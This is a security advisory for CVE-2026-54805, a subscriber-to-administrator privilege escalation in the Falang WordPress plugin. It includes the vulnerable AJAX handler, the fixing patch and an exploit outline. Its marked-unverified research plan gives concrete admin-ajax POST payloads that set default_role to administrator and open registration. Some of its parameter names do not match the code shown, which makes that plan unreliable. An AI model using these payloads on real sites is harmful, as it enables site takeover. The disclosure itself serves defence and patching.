CVE-2026-54805

Falang multilanguage for WordPress <= 1.4.2 - Authenticated (Subscriber+) Privilege Escalation

highIncorrect Privilege Assignment
8.8
CVSS Score
8.8
CVSS Score
high
Severity
1.4.3
Patched in
10d
Time to patch

Description

The Falang multilanguage for WordPress plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.4.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.4.2
PublishedJune 16, 2026
Last updatedJune 25, 2026
Affected pluginfalang

What Changed in the Fix

Changes introduced in v1.4.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-54805**, a privilege escalation vulnerability in the **Falang** plugin for WordPress. The vulnerability arises from an unprotected AJAX endpoint that allows any authenticated user (including Subscribers) to modify WordPress options, potentially leading to full s…

Show full research plan

This research plan targets CVE-2026-54805, a privilege escalation vulnerability in the Falang plugin for WordPress. The vulnerability arises from an unprotected AJAX endpoint that allows any authenticated user (including Subscribers) to modify WordPress options, potentially leading to full site takeover.

1. Vulnerability Summary

  • Vulnerability: Incorrect Privilege Assignment (Privilege Escalation)
  • Location: admin/class-falang-admin.php
  • Cause: The plugin registers multiple AJAX handlers (e.g., falang_set_option_translation) using add_action('wp_ajax_...') without implementing any capability checks (like current_user_can('manage_options')) within the handler functions.
  • Impact: A Subscriber-level user can call these actions to update arbitrary WordPress options, such as changing the default_role to administrator or enabling users_can_register.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: falang_set_option_translation (registered in Falang_Admin::load())
  • Payload Parameter: option_name and option_value (or translation).
  • Authentication: Subscriber level or higher.
  • Preconditions: The plugin must be active. No specific settings are required, though the vulnerability involves the "Options Translation" feature.

3. Code Flow

  1. Entry Point: An authenticated user sends a POST request to /wp-admin/admin-ajax.php with action=falang_set_option_translation.
  2. Hook Registration: In admin/class-falang-admin.php, the load() function registers:
    add_action('wp_ajax_falang_set_option_translation', array($this, 'ajax_set_option_translation'));
    
  3. Handler Execution: The ajax_set_option_translation function (located in admin/class-falang-admin.php, likely truncated in the snippet) receives the POST parameters.
  4. Vulnerable Sink: The function likely calls update_option() or a model method that modifies the wp_options table based on the option_name and option_value parameters without verifying the user's administrative privileges.

4. Nonce Acquisition Strategy

Based on admin/views/falang_option_translation_page.php, the plugin uses AJAX for option translation but doesn't clearly show a nonce being localized in the provided snippets. However, standard WordPress security practices suggest checking for one.

Steps to find the nonce:

  1. Check for Global Nonce: Login as a Subscriber and visit wp-admin/profile.php.
  2. Execute Discovery: Use browser_eval to search for localized Falang data:
    browser_eval("window.falang || window.falang_ajax || document.body.innerHTML.match(/[a-f0-9]{10}/g)")
    
  3. Specific Variable: Look for a variable like falang.nonce or falang_ajax_nonce.
  4. If No Nonce Found: Attempt the exploit without a nonce, as many "Incorrect Privilege Assignment" vulnerabilities also involve missing nonce checks.

5. Exploitation Strategy

Step 1: Privilege Escalation via default_role

This attempt aims to change the default role for new users to administrator.

  • Tool: http_request
  • Method: POST
  • URL: https://[TARGET]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=falang_set_option_translation&option_name=default_role&option_value=administrator
    
    (Note: If a nonce is found in Step 4, add &nonce=[NONCE_VALUE] or &_wpnonce=[NONCE_VALUE])

Step 2: Enable Open Registration

To ensure the attacker can create a new account easily.

  • Body:
    action=falang_set_option_translation&option_name=users_can_register&option_value=1
    

6. Test Data Setup

  1. Install Falang: Ensure Falang version 1.4.2 is installed.
  2. Create Subscriber:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  3. Verify Initial State:
    wp option get default_role  # Should be 'subscriber'
    wp option get users_can_register # Should be '0'
    

7. Expected Results

  • Response: A JSON response, likely {"success":true}.
  • System State: The default_role option in the database should be updated to administrator.

8. Verification Steps

After sending the HTTP requests, verify using WP-CLI:

# Check if the default role was changed
wp option get default_role

# Check if registration was enabled
wp option get users_can_register

# (Optional) Create a new user to confirm they become an admin
wp user create new_admin new_admin@example.com
wp user get new_admin --field=roles # Should return 'administrator'

9. Alternative Approaches

If falang_set_option_translation does not directly update the option:

  • Target update_settings_post_options: Try action=update_settings_post_options with parameters discovered by auditing the truncated ajax_update_settings_post_options function.
  • Data Leakage: Use action=falang_export_options&option_name=wp_user_roles to leak the site's role structure, which might reveal other sensitive options to target.
  • Typos exploitation: The hook wp_ajax_falang_option_update_translation is mapped to ajax_update_term_translation in the source. This mismatch often indicates logic errors where parameters for "terms" are applied to "options," potentially allowing for database corruption or specific option overwrites.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Falang multilanguage plugin for WordPress is vulnerable to privilege escalation because it lacks capability checks and nonce validation in its AJAX handler `ajax_set_option_translation`. This allows authenticated users with subscriber-level permissions to modify arbitrary WordPress options, such as changing the default registration role to administrator.

Vulnerable Code

// admin/class-falang-admin.php (Line 950 approx)
    public function ajax_set_option_translation()
    {

        if (isset($_POST['falang_option_translation'])) {

            $option_tree = $this->map_deep($_POST['falang_option_translation'], array($this, 'format_option'));

            $this->update_option_translations($option_tree);

            $response = new stdClass();
            $response->success = 'option updated';
            $response->option = $option_tree;
            $this->return_json($response);

        }

        wp_die();

    }

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/falang/1.4.2/admin/class-falang-admin.php	2026-05-07 12:10:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/falang/1.4.3/admin/class-falang-admin.php	2026-05-18 09:01:00.000000000 +0000
@@ -945,26 +945,30 @@
      * Set option translation for ajax
      *
      * @from 1.5
-     * @since 1.3.7 add update message on option translation
+     * @update 1.3.7 add update message on option translation
+     * @update 1.4.3 fix security (add capability check) , and check ajax
      */
     public function ajax_set_option_translation()
     {
+        check_ajax_referer( 'falang_action', '_nonce' );
 
-        if (isset($_POST['falang_option_translation'])) {
+        if (current_user_can('manage_options')) {
 
-            $option_tree = $this->map_deep($_POST['falang_option_translation'], array($this, 'format_option'));
+            if (isset($_POST['falang_option_translation'])) {
 
-            $this->update_option_translations($option_tree);
+                $option_tree = $this->map_deep($_POST['falang_option_translation'], array($this, 'format_option'));
 
-            $response = new stdClass();
-            $response->success = 'option updated';
-            $response->option = $option_tree;
-            $this->return_json($response);
+                $this->update_option_translations($option_tree);
 
-        }
+                $response = new stdClass();
+                $response->success = 'option updated';
+                $response->option = $option_tree;
+                $this->return_json($response);
 
+            }
+            //die
+        }
         wp_die();
-
     }

Exploit Outline

To exploit this vulnerability, an attacker first authenticates to the WordPress site with a low-privileged account (e.g., Subscriber). They then send a POST request to the `/wp-admin/admin-ajax.php` endpoint with the parameter `action=falang_set_option_translation`. The payload includes a `falang_option_translation` array containing a key-value pair where the key is a sensitive WordPress option (like `default_role`) and the value is the desired setting (like `administrator`). Since the plugin does not verify the user's capabilities or check for a valid security nonce in versions up to 1.4.2, the application updates the specified option, granting the attacker or new users administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.